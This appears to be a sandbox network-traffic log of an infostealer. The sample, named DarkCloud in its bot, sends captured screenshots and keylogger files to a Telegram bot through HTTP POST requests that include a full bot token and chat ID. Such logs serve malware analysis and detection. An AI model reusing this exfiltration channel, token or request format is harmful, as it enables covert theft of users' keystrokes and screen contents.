2024-11-25 12:40:24 UTC	595	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 35 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2532,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49876	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:40:29 UTC	562	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:40:29 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 42 64 65 43 6d 51 71 47 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotBdeCmQqG.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:40:29 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:29 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:40:29 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:40:29 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:40:29 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:29 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:40:29 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:40:29 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:40:29 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:40:33 GMT Content-Type: application/json Content-Length: 600 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49892	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:40:35 UTC	558	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 634 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:40:35 UTC	634	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 4b 61 74 4e 52 58 49 4b 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 32 34 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 32 34 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 32 34 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataKatNRXIK.txt"Content-Type: application/octet-stream[07:40:24]<<Program Manager>>[07:40:24]<<Program Manager>>[07:40:24]<<Program Mana
2024-11-25 12:40:36 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:40:36 GMT Content-Type: application/json Content-Length: 594 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:40:36 UTC	594	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 35 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2534,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49901	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:40:39 UTC	562	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:40:39 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 71 78 43 6e 52 4b 48 4f 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotqxCnRKHO.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:40:39 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:39 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:40:39 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:40:39 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
